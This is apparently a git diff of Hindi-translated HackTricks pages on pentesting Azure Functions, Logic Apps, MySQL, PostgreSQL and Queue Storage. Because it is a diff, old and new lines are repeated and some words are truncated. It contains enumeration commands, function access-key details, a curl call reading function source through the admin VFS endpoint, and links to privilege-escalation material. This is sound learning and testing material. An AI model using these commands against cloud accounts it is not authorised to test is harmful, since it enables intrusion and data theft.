> ध्यान दें कि उपयोगकर्ताओं को फ़ंक्शंस को सक्रिय करने के लिए पहुंच देने के लिए कोई RBAC अनुमतियाँ नहीं हैं। **फ़ंक्शन सक्रियण उस ट्रिगर पर निर्भर करता है** जो इसे बनाया गया था और यदि एक HTTP ट्रिगर चुना गया था, तो इसे **एक्सेस की** का उपयोग करने की आवश्यकता हो सकत है।
> ध्यान दें कि उपयोगकर्ताओं को फ़ंक्शंस को सक्रिय करने के लिए एक्सेस देने के लिए कोई RBAC अनुमतियाँ नहीं हैं। **फ़ंक्शन सक्रियण उस ट्रिगर पर निर्भर करता है** जो इसे बनाया गया था और यदि एक HTTP ट्रिगर चुना गया था, तो फ़ंक्शन को सक्रिय करने के लिए **एक एक्सेस कुंजी** का उपयोग करन आवश्यक हो सकत है।
एक फ़ंक्शन के अंदर एक एंडपॉइंट बनाते समय **HTTP ट्रिगर** का उपयोग करते समय, यह संभव है कि **फंक्शन को सक्रिय करने के लिए आवश्यक एक्सेस की प्राधिकरण स्तर** को निर्दिष्ट करें। तीन विकल्प उपलब्ध हैं:
एक फ़ंक्शन के अंदर एक एंडपॉइंट बनाते समय **HTTP ट्रिगर** का उपयोग करते हुए, यह संभव है कि फंक्शन को सक्रिय करने के लिए आवश्यक **एक्सेस कुंजी प्राधिकरण स्तर** को निर्दिष्ट किया जाए। तीन विकल्प उपलब्ध हैं:
- **ANONYMOUS**: **हर कोई** URL के माध्यम से फ़ंक्शन तक पहुच सकता है।
- **FUNCTION**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जो **फंक्शन, होस्ट या मास्टर की** का उपयोग कर रहे हैं।
- **ADMIN**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जिनके पास **मास्टर की** है।
- **ANONYMOUS**: **हर कोई** URL के माध्यम से फ़ंक्शन तक पहुच सकता है।
- **FUNCTION**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जो **फंक्शन, होस्ट या मास्टर कुंज** का उपयोग कर रहे हैं।
- **ADMIN**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जिनके पास **मास्टर कुंज** है।
**कुंजी के प्रकार:**
- **Function Keys:** फ़ंक्शन कुंजियाँ या तो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित हो सकती हैं और इन्हें विशेष रूप से **Function App के भीतर विशिष्ट फ़ंक्शन एंडपॉइंट्स** तक पहुच प्रदान करने के लिए डिज़ाइन किया गया है जिससे एंडपॉइंट्स पर अधिक बारीक पहुच मिलती है।
- **Host Keys:** होस्ट कुंजियाँ, जो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित भी हो सकती हैं, **Function App के भीतर सभी फ़ंक्शन एंडपॉइंट्स तक FUNCTION एक्सेस स्तर** के साथ पहुंच प्रदान करती हैं
- **Master Key:** मास्टर की (`_master`) एक प्रशासनिक कुंजी के रूप में कार्य करती है जो सभी फ़ंक्शन एंडपॉइंट्स (ADMIN एक्सेस स्तर सहित) तक पहुच प्रदान करती है। यह **कुंजी रद्द नहीं की जा सकती।**
- **System Keys:** सिस्टम कुंजियाँ **विशिष्ट एक्सटेंशन द्वारा प्रबंधित** होती हैं और आंतरिक घटकों द्वारा उपयोग किए जाने वाले वेबहुक एंडपॉइंट्स तक पहुच के लिए आवश्यक होती हैं। उदाहरणों में इवेंट ग्रिड ट्रिगर और ड्यूरेबल फ़ंक्शंस शामिल हैं, जो अपने संबंधित APIs के साथ सुरक्षित रूप से बातचीत करने के लिए सिस्टम कुंजियों का उपयोग करते हैं।
- **Function Keys:** फ़ंक्शन कुंज या तो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित हो सकती हैं और इन्हें विशेष रूप से **एक फ़ंक्शन ऐप के भीतर विशिष्ट फ़ंक्शन एंडपॉइंट्स** तक पहुच प्रदान करने के लिए डिज़ाइन किया गया है जिससे एंडपॉइंट्स पर अधिक बारीक़ी से पहुच मिलती है।
- **Host Keys:** होस्ट कुंज, जो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित भी हो सकती हैं, **एक फ़ंक्शन ऐप के भीतर सभी फ़ंक्शन एंडपॉइंट्स तक पहुँच प्रदान करती हैं जिनका FUNCTION एक्सेस स्तर है**
- **Master Key:** मास्टर कुंजी (`_master`) एक प्रशासनिक कुंजी के रूप में कार्य करती है जो सभी फ़ंक्शन एंडपॉइंट्स (ADMIN एक्सेस स्तर सहित) तक पहुच प्रदान करती है। यह **कुंजी रद्द नहीं की जा सकती।**
- **System Keys:** सिस्टम कुंज **विशिष्ट एक्सटेंशन द्वारा प्रबंधित** होती हैं और आंतरिक घटकों द्वारा उपयोग किए जाने वाले वेबहुक एंडपॉइंट्स तक पहुच के लिए आवश्यक होती हैं। उदाहरणों में इवेंट ग्रिड ट्रिगर और ड्यूरेबल फ़ंक्शंस शामिल हैं, जो अपने संबंधित APIs के साथ सुरक्षित रूप से बातचीत करने के लिए सिस्टम कुंज का उपयोग करते हैं।
> [!TIP]
> कुंजी का उपयोग करके फ़ंक्शन API एंडपॉइंट तक पहुचने का उदाहरण:
> कुंजी का उपयोग करके फ़ंक्शन API एंडपॉइंट तक पहुचने का उदाहरण:
>
> `https://<function_uniq_name>.azurewebsites.net/api/<endpoint_name>?code=<access_key>`
### Basic Authentication
जैसे कि App Services में, Functions भी **SCM** और **FTP** से कनेक्ट करने के लिए बुनियादी प्रमाणीकरण का समर्थन करते हैं ताकि कोड को **Azure द्वारा प्रदान किए गए URL में उपयोगकर्ता नाम और पासवर्ड** का उपयोग करके तैनात किया जा सके। इसके बारे में अधिक जानकारी:
जैसे कि ऐप सेवाओं में, फ़ंक्शंस भी **SCM** और **FTP** से कनेक्ट करने के लिए बुनियादी प्रमाणीकरण का समर्थन करते हैं ताकि कोड को **Azure द्वारा प्रदान किए गए URL में उपयोगकर्ता नाम और पासवर्ड** का उपयोग करके तैनात किया जा सके। इसके बारे में अधिक जानकारी:
{{#ref}}
az-app-services.md
@@ -104,7 +104,7 @@ az-app-services.md
### Github Based Deployments
जब एक फ़ंक्शन एक Github रिपॉजिटरी से उत्पन्न होता है, तो Azure वेब कंसोल **एक विशिष्ट रिपॉजिटरी में स्वचालित रूप से एक Github वर्कफ़्लो बनाने** की अनुमति देता है ताकि जब भी इस रिपॉजिटरी को अपडेट किया जाए, फ़ंक्शन का कोड अपडेट हो जाए। वास्तव में, एक Python फ़ंक्शन के लिए Github Action yaml इस तरह दिखता है:
जब एक फ़ंक्शन एक Github रिपॉजिटरी से उत्पन्न होता है, तो Azure वेब कंसोल **एक विशिष्ट रिपॉजिटरी में स्वचालित रूप से एक Github वर्कफ़्लो बनाने** की अनुमति देता है ताकि जब भी इस रिपॉजिटरी को अपडेट किया जाए, फ़ंक्शन का कोड अपडेट हो जाए। वास्तव में, एक पायथन फ़ंक्शन के लिए Github Action yaml इस तरह दिखता है:
<details>
@@ -199,15 +199,14 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
### Container Based Deployments
सभी योजनाएँ कंटेनर को तैनात करने की अनुमति नहीं देती हैं, लेकिन जिनके लिए अनुमति है, उनके लिए कॉन्फ़िगरेशन में कंटेनर का URL होगा। API में **`linuxFxVersion`** सेटिंग कुछ इस तरह होगी: `DOCKER|mcr.microsoft.com/...`, जबकि वेब कंसोल में, कॉन्फ़िगरेशन **image settings** दिखाएगा।
सभी योजनाएँ कंटेनर को तैनात करने की अनुमति नहीं देती हैं, लेकिन जिनमें अनुमति है, उनके लिए कॉन्फ़िगरेशन में कंटेनर का URL होगा। API में **`linuxFxVersion`** सेटिंग कुछ इस तरह होगी: `DOCKER|mcr.microsoft.com/...`, जबकि वेब कंसोल में, कॉन्फ़िगरेशन **image settings** दिखाएगा।
इसके अलावा, **कोई स्रोत कोड स्टोरेज** खाते में संग्रहीत नहीं किया जाएगा जो फ़ंक्शन से संबंधित है क्योंकि इसकी आवश्यकता नहीं है।
## Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all the functions
az functionapp list
@@ -253,11 +252,9 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# Get source code
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```powershell
Get-Command -Module Az.Functions
@@ -273,9 +270,9 @@ Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
# Retrieves the app settings for a specific Azure Function App.
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
## विशेषाधिकार वृद्धि

View File

@@ -10,8 +10,8 @@ Logic Apps एक दृश्य डिज़ाइनर प्रदान
### Examples
- **डेटा पाइपलाइनों क स्वचालित करना**: Logic Apps **डेटा स्थानांतरण और रूपांतरण प्रक्रियाओं** को Azure Data Factory के साथ मिलाकर स्वचालित कर सकता है। यह विभिन्न डेटा स्टोर्स, जैसे Azure SQL Database और Azure Blob Storage के बीच डेटा को स्थानांतरित और रूपांतरित करने के लिए स्केलेबल और विश्वसनीय डेटा पाइपलाइनों को बनाने में सहायक है, जो विश्लेषण और व्यावसायिक बुद्धिमत्ता संचालन में मदद करता है।
- **Azure Functions के साथ एकीकृत करना**: Logic Apps Azure Functions के साथ मिलकर **जटिल, इवेंट-चालित अनुप्रयोगों को विकसित कर सकता है जो आवश्यकतानुसार स्केल करते हैं** और अन्य Azure सेवाओं के साथ सहजता से एकीकृत होते हैं। एक उदाहरण उपयोग मामला यह है कि एक Logic App का उपयोग कुछ घटनाओं के जवाब में Azure Function को ट्रिगर करने के लिए किया जाता है, जैसे Azure Storage खाते में परिवर्तन, जो गतिशील डेटा प्रोसेसिंग की अनुमति देता है।
- **डेटा पाइपलाइनों क स्वचाल**: Logic Apps **डेटा ट्रांसफर और रूपांतरण प्रक्रियाओं** को Azure Data Factory के साथ मिलाकर स्वचालित कर सकता है। यह विभिन्न डेटा स्टोर्स, जैसे Azure SQL Database और Azure Blob Storage के बीच डेटा को स्थानांतरित और रूपांतरित करने के लिए स्केलेबल और विश्वसनीय डेटा पाइपलाइनों को बनाने में सहायक है, जो विश्लेषण और व्यावसायिक बुद्धिमत्ता संचालन में मदद करता है।
- **Azure Functions के साथ एकीकरण**: Logic Apps Azure Functions के साथ मिलकर **जटिल, इवेंट-चालित अनुप्रयोगों को विकसित करने** में सक्षम है जो आवश्यकतानुसार स्केल करते हैं और अन्य Azure सेवाओं के साथ सहजता से एकीकृत होते हैं। एक उदाहरण उपयोग मामला यह है कि एक Logic App का उपयोग कुछ घटनाओं के जवाब में Azure Function को ट्रिगर करने के लिए किया जाता है, जैसे Azure Storage खाते में परिवर्तन, जो गतिशील डेटा प्रोसेसिंग की अनुमति देता है।
### Visualize a LogicAPP
@@ -35,17 +35,16 @@ curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e9741
There are several hosting options:
* **Consumption**
- **Multi-tenant**: साझा कंप्यूट संसाधनों को प्रदान करता है, सार्वजनिक क्लाउड में संचालित होता है, और प्रति ऑपरेशन मूल्य निर्धारण मॉडल का पालन करता है। यह हल्के और लागत-कुशल कार्यभार के लिए आदर्श है।
- **Multi-tenant**: साझा कंप्यूट संसाधनों को प्रदान करता है, सार्वजनिक क्लाउड में संचालित होता है, और प्रति संचालन मूल्य निर्धारण मॉडल का पालन करता है। यह हल्के और लागत-कुशल कार्यभार के लिए आदर्श है।
* **Standard**
- **Workflow Service Plan**: नेटवर्किंग के लिए VNET एकीकरण के साथ समर्पित कंप्यूट संसाधन और प्रति वर्कफ़्लो सेवा योजना उदाहरण के लिए चार्ज करता है। यह अधिक मांग वाले कार्यभार के लिए उपयुक्त है जो अधिक नियंत्रण की आवश्यकता होती है।
- **Workflow Service Plan**: नेटवर्किंग के लिए VNET एकीकरण के साथ समर्पित कंप्यूट संसाधन और प्रति वर्कफ़्लो सेवा योजना उदाहरण के लिए शुल्क। यह अधिक मांग वाले कार्यभार के लिए उपयुक्त है जो अधिक नियंत्रण की आवश्यकता होती है।
- **App Service Environment V3** समर्पित कंप्यूट संसाधन पूर्ण अलगाव और स्केलेबिलिटी के साथ। यह नेटवर्किंग के लिए VNET के साथ भी एकीकृत होता है और वातावरण के भीतर App Service उदाहरणों के आधार पर मूल्य निर्धारण मॉडल का उपयोग करता है। यह उच्च अलगाव की आवश्यकता वाले उद्यम-स्तरीय अनुप्रयोगों के लिए आदर्श है।
- **Hybrid** स्थानीय प्रसंस्करण और मल्टी-क्लाउड समर्थन के लिए डिज़ाइन किया गया है। यह स्थानीय नेटवर्क एक्सेस के साथ ग्राहक-प्रबंधित कंप्यूट संसाधनों की अनुमति देता है और Kubernetes इवेंट-ड्रिवेन ऑटोस्केलिंग (KEDA) का उपयोग करता है।
- **Hybrid** स्थानीय प्रसंस्करण और मल्टी-क्लाउड समर्थन के लिए डिज़ाइन किया गया। यह स्थानीय नेटवर्क पहुंच के साथ ग्राहक-प्रबंधित कंप्यूट संसाधनों की अनुमति देता है और Kubernetes Event-Driven Autoscaling (KEDA) का उपयोग करता है।
### Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List
az logic workflow list --resource-group <ResourceGroupName>
@@ -108,11 +107,9 @@ az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.LogicApp
@@ -137,17 +134,14 @@ Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### Integration Accounts
**Integration Accounts**, Azure Logic Apps की एक विशेषता हैं। Integration Accounts का उपयोग उन्नत B2B क्षमताओं को सक्षम करके उद्यम-स्तरीय एकीकरण को सुविधाजनक बनाने के लिए किया जाता है, जैसे EDI, AS2, और XML स्कीमा प्रबंधन। Integration Accounts Azure में एक कंटेनर हैं जो Logic Apps के लिए उपयोग किए जाने वाले निम्नलिखित कलाकृतियों को संग्रहीत करते हैं:
* Schemas: अपने एकीकरण खाते में संदेशों को मान्य और संसाधित करने के लिए XML स्कीमा प्रबंधित करें।
* Maps: अपने एकीकरण कार्यप्रवाह के भीतर डेटा प्रारूपों को परिवर्तित करने के लिए XSLT-आधारित रूपांतरण कॉन्फ़िगर करें।
* Maps: अपने एकीकरण कार्यप्रवाहों के भीतर डेटा प्रारूपों को परिवर्तित करने के लिए XSLT-आधारित रूपांतरण कॉन्फ़िगर करें।
* Assemblies: लॉजिक और डेटा प्रसंस्करण को सरल बनाने के लिए एकीकरण खाता असेंबली प्रबंधित करें।
* Certificates: संदेशों को एन्क्रिप्ट और साइन करने के लिए प्रमाणपत्रों को संभालें, सुरक्षित संचार सुनिश्चित करें।
* Partners: B2B लेनदेन के लिए व्यापार भागीदार की जानकारी प्रबंधित करें, निर्बाध एकीकरण सक्षम करें।
@@ -157,9 +151,8 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
#### Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Integration account
az logic integration-account list --resource-group <resource-group-name>
@@ -219,11 +212,9 @@ az logic integration-account assembly show \
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```powershell
Get-Command -Module Az.LogicApp
@@ -254,23 +245,22 @@ Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -Integr
# Retrieve details of a specific schema in an integration account
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
## विशेषाधिकार वृद्धि
लॉजिक ऐप्स प्रिवेस्क के समान:
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-logic-apps-privesc.md
{{#endref}}
## पोस्ट एक्सप्लोइटेशन
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-logic-apps-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -11,21 +11,20 @@ Azure Database for MySQL एक पूरी तरह से प्रबंध
- पूर्वानुमानित कार्यभार वाले एप्लिकेशनों के लिए आदर्श।
* **Flexible Server**:
- डेटाबेस प्रबंधन और कॉन्फ़िगरेशन पर अधिक नियंत्रण प्रदान करता है।
- उच्च उपलब्धता का समर्थन करता है (समान-क्षेत्र और क्षेत्र-प्रतिरोधी)।
- उच्च उपलब्धता का समर्थन करता है (समान-क्षेत्र और क्षेत्र-निराधार)।
- सुविधाओं में लचीला स्केलिंग, पैच प्रबंधन, और कार्यभार अनुकूलन शामिल हैं।
- लागत बचत के लिए स्टॉप/स्टार्ट कार्यक्षमता प्रदान करता है।
### Key Features
* **Server Management**: **ad-admin** सुविधा Azure Active Directory (AAD) प्रशासकों को MySQL सर्वरों के लिए प्रबंधित करने की अनुमति देती है, जो AAD क्रेडेंशियल्स के माध्यम से प्रशासनिक पहुंच पर नियंत्रण प्रदान करती है, जबकि **identity** सुविधा Azure Managed Identities के असाइनमेंट और प्रबंधन की अनुमति देती है, जो Azure संसाधनों तक पहुंच के लिए सुरक्षित, क्रेडेंशियल-फ्री प्रमाणीकरण प्रदान करती है।
* **Server Management**: **ad-admin** सुविधा Azure Active Directory (AAD) प्रशासकों को MySQL सर्वरों के लिए प्रबंधित करने की अनुमति देती है, AAD क्रेडेंशियल्स के माध्यम से प्रशासनिक पहुंच पर नियंत्रण प्रदान करती है, जबकि **identity** सुविधा Azure Managed Identities के असाइनमेंट और प्रबंधन की अनुमति देती है, जो Azure संसाधनों तक पहुँचने के लिए सुरक्षित, क्रेडेंशियल-फ्री प्रमाणीकरण प्रदान करती है।
* **Lifecycle Management**: एक सर्वर को शुरू या बंद करने, एक लचीले सर्वर उदाहरण को हटाने, कॉन्फ़िगरेशन परिवर्तनों को जल्दी लागू करने के लिए एक सर्वर को पुनरारंभ करने, और स्वचालन स्क्रिप्ट के साथ आगे बढ़ने से पहले यह सुनिश्चित करने के लिए इंतजार करने के विकल्प।
* **Security and Networking**: सुरक्षित डेटाबेस एक्सेस के लिए सर्वर फ़ायरवॉल नियमों का प्रबंधन कर सकता है और आवश्यकतानुसार वर्चुअल नेटवर्क कॉन्फ़िगरेशन को अलग कर सकता है।
* **Data Protection and Backup**: डेटा पुनर्प्राप्ति के लिए लचीले सर्वर बैकअप का प्रबंधन करने, एक अलग क्षेत्र में सर्वर को पुनर्प्राप्त करने के लिए भू-बहाली करने, बाहरी उपयोग के लिए सर्वर बैकअप का निर्यात करने (पूर्वावलोकन में), और एक विशिष्ट समय पर बैकअप से सर्वर को पुनर्स्थापित करने के विकल्प शामिल हैं।
### Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all flexible-servers
az mysql flexible-server db list --resource-group <resource-group-name>
@@ -55,11 +54,9 @@ az mysql flexible-server maintenance list --resource-group <resource-group-name>
az mysql flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.MySql
@@ -95,15 +92,12 @@ Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName <resource-group-na
# List log files for a server
Get-AzMySqlFlexibleServerLog -ResourceGroupName <resource-group-name> -ServerName <server_name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### कनेक्शन
rdbms-connect एक्सटेंशन के साथ आप डेटाबेस तक पहुँच सकते हैं:
{% code overflow="wrap" %}
```bash
az mysql flexible-server connect -n <server-name> -u <username> -p <password> --interactive
@@ -116,17 +110,11 @@ az mysql flexible-server execute \
--querytext "SELECT * FROM <table-name>;"
```
{% endcode %}
या MySQL मूल एक्सटेंशन प्लगइन के साथ
{% code overflow="wrap" %}
```bash
mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p
```
{% endcode %}
आप गिटहब के साथ क्वेरी भी चला सकते हैं लेकिन पासवर्ड और उपयोगकर्ता भी आवश्यक हैं। आपको चलाने के लिए क्वेरी के साथ एक SQL फ़ाइल सेटअप करनी होगी और फिर:
{% code overflow="wrap" %}
आप गिटहब के साथ क्वेरी भी चला सकते हैं लेकिन पासवर्ड और उपयोगकर्ता भी आवश्यक हैं। आपको चलाने के लिए क्वेरी के साथ एक SQL फ़ाइल सेट अप करनी होगी और फिर:
```bash
# Setup
az mysql flexible-server deploy setup \
@@ -145,19 +133,17 @@ az mysql flexible-server deploy run \
--action-name <action-name> \
--branch <branch-name>
```
{% endcode %}
## विशेषाधिकार वृद्धि
{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %}
[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-mysql-privesc.md
{{#endref}}
## पोस्ट एक्सप्लोइटेशन
## पोस्ट शोषण
{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %}
[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-mysql-post-exploitation.md
{{#endref}}
## करने के लिए

View File

@@ -26,9 +26,8 @@
### Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List servers in a resource group
az postgres flexible-server list --resource-group <resource-group-name>
@@ -64,11 +63,9 @@ az postgres flexible-server maintenance list --resource-group <resource-group-na
az postgres flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.PostgreSql
@@ -91,15 +88,12 @@ Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location <location>
Get-AzPostgreSqlServer -ResourceGroupName <resource-group-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### कनेक्शन
rdbms-connect एक्सटेंशन के साथ आप डेटाबेस तक पहुँच सकते हैं:
{% code overflow="wrap" %}
```bash
az postgres flexible-server connect -n <server-name> -u <username> -p <password> --interactive
@@ -112,36 +106,31 @@ az postgres flexible-server execute \
--querytext "SELECT * FROM <table-name>;"
```
{% endcode %}
या
{% code overflow="wrap" %}
```bash
psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser <database-name>
```
{% endcode %}
## संदर्भ
* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
- [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
## विशेषाधिकार वृद्धि
{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %}
[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-postgresql-privesc.md
{{#endref}}
## पोस्ट एक्सप्लइटेशन
## पोस्ट एक्सप्लइटेशन
{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %}
[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-postgresql-post-exploitation.md
{{#endref}}
## कार्यसूची
## करने के लिए
* ad-admin के साथ पहुचने का एक तरीका देखें ताकि यह सत्यापित किया जा सके कि यह एक privesc विधि है
* यह सत्यापित करने के लिए ad-admin के साथ पहुचने का एक तरीका देखें कि यह एक privesc विधि है
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Basic Information
Azure Queue Storage एक सेवा है जो Microsoft's Azure क्लाउड प्लेटफ़ॉर्म में संदेश कतार के लिए डिज़ाइन की गई है, **असिंक्रोनस संचार और डिकपलिंग को सक्षम बनाना**। यह आपको अनलिमिटेड संख्या में संदेशों को स्टोर करने की अनुमति देत है, प्रत्येक 64 KB तक के आकार में, और कतार बनाने और हटाने, संदेश जोड़ने, पुनः प्राप्त करने, अपडेट करने और हटाने, साथ ही मेटाडेटा और एक्सेस नीतियों का प्रबंधन करने जैसी ऑपरेशनों का समर्थन कता है। जबकि यह आमतौर पर पहले आए पहले जाए (FIFO) तरीके से संदेशों को प्रोसेस करता है, सख्त FIFO की गारंटी नहीं है।
Azure Queue Storage एक सेवा है जो Microsoft's Azure cloud platform में संदेश कतार के लिए डिज़ाइन की गई है, **असिंक्रोनस संचार और डिकपलिंग को सक्षम बनाती है**। यह आपको अनलिमिटेड संख्या में संदेशों को स्टोर करने की अनुमति देत है, प्रत्येक का आकार 64 KB तक होता है, और इसमें कतारें बनाने और हटाने, संदेश जोड़ने, प्राप्त करने, अपडेट करने और हटाने, साथ ही मेटाडेटा और एक्सेस नीतियों का प्रबंधन करने जैसी ऑपरेशं का समर्थन किया जाता है। जबकि यह आमतौर पर पहले आए पहले जाए (FIFO) तरीके से संदेशों को प्रोसेस करता है, सख्त FIFO की गारंटी नहीं है।
### Enumeration
@@ -12,19 +12,19 @@ Azure Queue Storage एक सेवा है जो Microsoft's Azure क्
{{#tab name="Az Cli" }}
```bash
# You need to know the --account-name of the storage (az storage account list)
az storage queue list --account-name <storage_account>
az storage queue list --account-name <storage_account> # --auth-mode login
# Queue Metadata
az storage queue metadata show --name <queue_name> --account-name <storage_account>
az storage queue metadata show --name <queue_name> --account-name <storage_account> # --auth-mode login
#Get ACL
az storage queue policy list --queue-name <queue_name> --account-name <storage_account>
az storage queue policy list --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
# Get Messages (getting a message deletes it)
az storage message get --queue-name <queue_name> --account-name <storage_account>
az storage message get --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
# Peek Messages
az storage message peek --queue-name <queue_name> --account-name <storage_account>
az storage message peek --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
```
{{#endtab }}
@@ -70,7 +70,7 @@ $queueMessage.Value
../az-privilege-escalation/az-queue-privesc.md
{{#endref}}
### पोस्ट एक्सप्लइटेशन
### पोस्ट एक्सप्लइटेशन
{{#ref}}
../az-post-exploitation/az-queue-post-exploitation.md

View File

@@ -4,7 +4,7 @@
## Service Bus
Azure Service Bus एक क्लाउड-आधारित **मैसेजिंग सेवा** है जिसे विभिन्न भागों के बीच विश्वसनीय **संचार सक्षम करने के लिए डिज़ाइन किया गया है या अलग-अलग अनुप्रयोगों** के बीच। यह एक सुरक्षित मध्यस्थ के रूप में कार्य करता है, यह सुनिश्चित करता है कि संदेश सुरक्षित रूप से वितरित किए जाएं, भले ही प्रेषक और प्राप्तकर्ता एक साथ काम न कर रहे हों। सिस्टम को अलग करके, यह अनुप्रयोगों को स्वतंत्र रूप से काम करने की अनुमति देता है जबकि डेटा या निर्देशों का आदान-प्रदान करते हुए। यह विशेष रूप से उन परिदृश्यों के लिए उपयोगी है ज कई श्रमिकों के बीच लोड संतुलन, विश्वसनीय संदेश वितरण, या जटिल समन्वय की आवश्यकता होती है, जैसे कि कार्यों को क्रम में संसाधित करना या सुरक्षित रूप से पहुंच प्रबंधित करना।
